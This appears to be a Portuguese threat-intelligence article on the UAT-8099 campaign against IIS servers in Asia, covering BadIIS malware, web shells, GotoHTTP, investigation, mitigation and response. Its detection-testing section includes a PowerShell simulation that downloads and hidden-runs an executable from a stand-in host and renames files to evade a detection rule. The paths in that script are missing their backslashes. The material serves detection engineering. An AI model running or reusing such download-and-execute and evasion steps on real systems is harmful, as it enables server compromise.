SOC Prime Bias: Crítico

02 Feb 2026 11:31 UTC

Dissecando UAT-8099: Novos mecanismos de persistência e foco regional

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Dissecando UAT-8099: Novos mecanismos de persistência e foco regional
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A Cisco Talos relata uma nova campanha UAT-8099 visando servidores IIS vulneráveis ​​na Ásia. O ator implanta variantes personalizadas do BadIIS que incluem identificadores regionais e depende de web shells, PowerShell e da ferramenta de controle remoto GotoHTTP para controle subsequente. A persistência foi ampliada para incluir a criação de contas locais ocultas e o uso de utilitários legítimos de equipes de red teaming para se misturar às atividades administrativas. A técnica se sobrepõe à operação WEBJACK anterior e parece focada em fraudes de SEO afetando sites na Tailândia e no Vietnã.

Investigação

A Talos revisou a telemetria DNS, hashes de arquivos e scripts maliciosos para reconstruir a cadeia de intrusão. Os analistas observaram web shells combinados com ferramentas como SoftEther VPN e EasyTier, além de um conjunto de utilitários sob medida, incluindo Sharp4RemoveLog, CnCrypt Protect, OpenArk64 e GotoHTTP. Duas cepas do BadIIS ajustadas regionalmente — IISHijack e asdSearchEngine — foram analisadas reversamente, expondo códigos de países hard-coded, filtragem de solicitações seletiva e configuração de C2 criptografada com XOR. Um compilado ELF do BadIIS com domínios C2 correspondentes também foi identificado no VirusTotal.

Mitigação

Corrija as vulnerabilidades expostas do IIS, fortaleça a aplicação do firewall de aplicativos web e monitore a criação de contas locais ocultas (por exemplo, admin$, mysql$ e similares). Detecte atividades do PowerShell que baixam ou iniciam o GotoHTTP e bloqueiem a comunicação de saída para domínios C2 conhecidos. Use controles de endpoint para alertar sobre a execução dos utilitários personalizados identificados e sobre modificações inesperadas nos diretórios do servidor web.

Resposta

Se forem encontrados indicadores, isole o servidor, remova os web shells e apague as contas ocultas. Preserve binários do BadIIS e scripts relacionados para análise forense, e realize uma revisão completa do tráfego de rede para identificar atividades C2. Restaure a partir de um backup confiável e reforce a configuração do IIS para prevenir reinfecções.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Preparo de Telemetria e Baseline deve ter passado.

  • Narrativa do Ataque & Comandos:
    Um atacante obteve acesso inicial em um servidor web comprometido. Eles criam um diretório oculto chamado bad_iis sob o diretório raiz do IIS e colocam um binário web-shell com nome personalizado shell_xyz.exe (evitando a string literal “web shell”). Usando o shell, eles executam lateralmente uma carga útil do PowerShell que baixa o binário GotoHTTP, renomeia-o para svc_update.exe, e o executa. Como os nomes das imagens estão obfuscados, as verificações Image|contains da regra original são contornadas, enquanto a linha de comando ainda contém “PowerShell”.

  • Script de Teste de Regressão: Este script reproduz os passos descritos e gera telemetria semelhante ao ataque BadIIS sem usar as strings exatas que a regra observa.

    # Simulação BadIIS – versão ofuscada
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null
    
    # Implantar um web-shell renomeado (cópia binária de um exe benigno conhecido)
    $shellSrc = "$env:SystemRootSystem32notepad.exe"
    $shellDst = Join-Path $payloadDir "shell_xyz.exe"
    Copy-Item -Path $shellSrc -Destination $shellDst -Force
    
    # Simular o web-shell invocando PowerShell para baixar GotoHTTP
    $gotoUrl = "http://malicious.example.com/GotoHTTP.exe"
    $gotoDst = "C:WindowsTempsvc_update.exe"
    
    $psCommand = @"
    Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst';
    Start-Process -FilePath '$gotoDst' -WindowStyle Hidden;
    "@
    
    # Executar a carga útil do PowerShell através do web-shell renomeado (criação de processo)
    Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden
    
    Write-Output "Simulação BadIIS executada."
  • Comandos de Limpeza: Remove os artefatos plantados e restaura o ambiente.

    # Limpar artefatos da simulação BadIIS
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue
    
    $gotoDst = "C:WindowsTempsvc_update.exe"
    Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue
    
    Write-Output "Limpeza concluída."